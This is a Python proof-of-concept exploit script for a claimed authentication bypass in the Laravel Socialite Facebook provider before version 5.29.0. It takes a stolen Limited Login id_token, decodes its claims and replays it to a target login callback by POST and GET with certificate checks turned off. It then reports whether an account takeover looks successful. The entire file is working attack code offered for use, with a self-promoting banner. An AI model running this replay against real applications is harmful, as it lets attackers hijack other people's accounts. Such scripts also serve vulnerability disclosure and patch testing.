#!/usr/bin/env python3
# Exploit Title: Laravel Socialite < 5.29.0 - Facebook OIDC Nonce Replay Authentication Bypass
# CVE: CVE-2026-73683
# Date: 2026-08-15
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://github.com/laravel/socialite
# Software Link: https://github.com/laravel/socialite
# Affected: Laravel Socialite < 5.29.0
# Tested on: Linux
# Category: WebApps
# Platform: PHP
# Exploit Type: Remote
# CVSS: 9.2 (Critical)
# CWE: CWE-294
# Description: Laravel Socialite Facebook provider does not validate the nonce claim on Limited Login OIDC id_tokens. An attacker who obtains a valid, unexpired id_token for the same Facebook App ID can replay it via userFromToken() and gain unauthorized access to the victim account.
# Fixed in: 5.29.0 (commit caf714f)
# Usage:
# python3 exploit.py <target_url> <stolen_id_token>
#
# Example:
# python3 exploit.py https://target.com/auth/facebook/callback eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...
import requests
import sys
import json
import base64
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def banner():
print(r"""
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ▄▄▄▄· ▄▄▄ . ▄▄ • ▄▄▄▄▄ ▄▄▄ ▄▄▄· ▄▄▄· ▄▄▄▄▄▄▄▄▄ .▄▄▄ ▄• ▄▌ ║
║ ▐█ ▀█▪ ▀▄.▀· ▐█ ▀ ▪ •██ ▪ ▀▄ █· ▐█ ▀█ ▐█ ▄█ •██ ▀▀▄.▀· ▀▄ █· █▪██▌ ║
║ ▐█▀▀█▄ ▐▀▀▪▄ ▄█ ▀█▄ ▐█.▪ ▄█▀▄ ▐▀▀▄ ▄█▀▀█ ██▀· ▐█.▪ ▐▀▀▪▄ ▐▀▀▄ █▌▐█· ║
║ ██▄▪▐█ ▐█▄▄▌ ▐█▄▪▐█ ▐█▌· ▐█▌.▐▌ ▐█•█▌ ▐█ ▪▐▌ ▐█▪·• ▐█▌· ▐█▄▄▌ ▐█•█▌ ▐█▄█▌ ║
║ ·▀▀▀▀ ▀▀▀ ·▀▀▀▀ ▀▀▀ ▀█▄▀▪ .▀ ▀ ▀ ▀ .▀ ▀▀▀ ▀▀▀ .▀ ▀ ▀▀▀ ║
║ ║
║ b a n y a m e r _ s e c u r i t y ║
║ ║
║ >>> Silent Hunter • Shadow Presence <<< ║
║ ║
║ Operator : Mohammed Idrees Banyamer Jordan 🇯🇴 ║
║ Handle : @banyamer_security ║
║ ║
║ CVE-2026-73683 • Laravel Socialite → Facebook Nonce Replay Auth Bypass ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
""")
def decode_jwt_payload(token):
try:
parts = token.split('.')
if len(parts) != 3:
return None
payload = parts[1]
payload += '=' * (-len(payload) % 4)
decoded = base64.urlsafe_b64decode(payload)
return json.loads(decoded)
except Exception:
return None
def exploit(target_url, id_token):
target_url = target_url.rstrip('/')
print(f"[*] Target : {target_url}")
print(f"[*] Stolen id_token : {id_token[:50]}...")
payload = decode_jwt_payload(id_token)
if payload:
print("\n[*] Decoded token claims:")
print(f" iss : {payload.get('iss')}")
print(f" aud : {payload.get('aud')}")
print(f" sub : {payload.get('sub')}")
print(f" email : {payload.get('email')}")
print(f" nonce : {payload.get('nonce', 'NOT PRESENT')}")
print(f" exp : {payload.get('exp')}")
else:
print("[-] Failed to decode JWT payload (token may be invalid)")
print("\n[*] Attempting to replay the token (no nonce supplied)...")
# Common patterns used by applications that call userFromToken()
# Adjust the endpoint / parameter name according to the target application
data = {
"access_token": id_token, # some apps use this
"token": id_token, # others use this
"id_token": id_token, # Limited Login style
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Accept": "application/json, text/html",
"Content-Type": "application/x-www-form-urlencoded",
}
try:
# Try POST first
r = requests.post(target_url, data=data, headers=headers, timeout=12, verify=False, allow_redirects=True)
print(f"[*] POST → HTTP {r.status_code}")
print(f"[*] Response length: {len(r.text)} bytes")
if r.status_code in (200, 302) and ("user" in r.text.lower() or "dashboard" in r.text.lower() or "welcome" in r.text.lower() or r.history):
print("[+] Possible successful authentication bypass (check session / response)")
else:
print("[-] No clear success indicator. Target may require different parameter or endpoint.")
# Also try GET (some implementations accept token in query)
r2 = requests.get(target_url, params={"token": id_token}, headers=headers, timeout=12, verify=False, allow_redirects=True)
print(f"[*] GET → HTTP {r2.status_code}")
except Exception as e:
print(f"[-] Request failed: {e}")
print("\n[!] Note:")
print(" This PoC demonstrates the replay. Full success depends on the target")
print(" application calling Socialite::driver('facebook')->userFromToken()")
print(" without supplying / validating the expected nonce.")
print(" Before Socialite 5.29.0 the token is accepted → account takeover.")
if __name__ == "__main__":
banner()
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} <target_url> <stolen_facebook_id_token>")
print("Example:")
print(f" {sys.argv[0]} https://vulnerable-app.com/auth/facebook/callback eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...")
sys.exit(1)
target = sys.argv[1]
token = sys.argv[2]
exploit(target, token)